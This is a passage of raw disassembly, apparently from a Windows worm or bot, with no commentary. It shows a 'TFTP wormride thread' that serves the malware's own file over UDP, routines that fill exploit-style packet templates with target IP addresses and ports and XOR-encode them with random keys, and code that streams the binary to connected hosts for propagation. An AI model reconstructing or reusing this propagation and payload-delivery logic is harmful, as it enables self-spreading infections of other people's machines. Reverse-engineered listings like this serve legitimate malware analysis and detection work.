mov [ebp+var_DA0], al mov al, [ebp+var_199] mov [ebp+var_D98], al and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 movzx eax, [ebp+var_D98] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp+var_DA0] add al, 1 mov [ebp+var_DA0], al mov al, [ebp+var_DA0] mov [ebp+var_D6E], al and [ebp+var_D98], 0 mov al, [ebp+var_D98] mov [ebp+var_D6D], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: sub_411DC5+44Cj mov al, [ebp+var_DA0] mov [ebp+var_D6E], al mov al, [ebp+var_D98] add al, 1 mov [ebp+var_D98], al mov al, [ebp+var_D98] mov [ebp+var_D6D], al loc_412268: ; CODE XREF: sub_411DC5+47Bj movzx eax, [ebp+var_DA0] shl eax, 8 movzx ecx, [ebp+var_D98] lea eax, [eax+ecx-1] mov [ebp+var_D9C], eax push 0 mov eax, [ebp+var_D9C] shl eax, 9 push eax push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D94], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D94] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto cmp [ebp+var_D94], 0 jnz loc_412394 mov eax, [ebp+var_D9C] shl eax, 9 cmp eax, [ebp+var_4] jb loc_412394 mov eax, [ebp+var_D7C] mov [ebp+var_DA8], eax push [ebp+var_DA8] push offset dword_41EB10 call sub_409C9D pop ecx pop ecx mov [ebp+var_DA4], eax mov eax, [ebp+var_DA4] cmp eax, [ebp+var_DA8] jz short loc_412394 push 1 push offset dword_41EB14 call sub_409C88 pop ecx pop ecx mov [ebp+var_DAC], eax push 10h push [ebp+var_D7C] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_11C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_11C] push eax mov eax, [ebp+var_DAC] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset dword_41DAB4 call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: sub_411DC5+52Dj ; sub_411DC5+53Fj ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: sub_411DC5+404j ; sub_411DC5+414j push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 9 push offset dword_41C724 push [ebp+var_108] call dword_417250 ; sendto loc_4123B8: ; CODE XREF: sub_411DC5+252j ; sub_411DC5:loc_4121BBj ... mov eax, [ebp+var_358] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_411DC5+5FDj jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: sub_411DC5+5FFj push [ebp+var_10C] call sub_416B82 ; fclose pop ecx push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: sub_411DC5+53j ; sub_411DC5+F8j ... pop edi leave retn 4 sub_411DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: sub_410649+8Bp ; sub_410B52+41p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset loc_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset dword_418620 mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EB1C, 0 jnz loc_4128A0 mov dword_41EB1C, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DA68[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DA68[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EB20, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EB20, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset dword_41EC40 call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; sub_412D56+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; sub_412D56+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CCF6[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCD0 mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCD0 push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset dword_41DAB4 call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: sub_41331E+148p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CC64 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: sub_41331E+165p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CC68 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EB24 pop ebp retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D56 proc near ; DATA XREF: sub_412E04+CAo var_48 = dword ptr -48h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_412D8A push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D56+25j lea eax, [ebp+var_44] push eax push [ebp+var_48] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412DAE push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_412D56+49j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: sub_412D56+63j push offset dword_41CC6C push [ebp+var_8] lea eax, [ebp+var_44] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: sub_412D56+32j ; sub_412D56+56j ... leave retn 4 sub_412D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 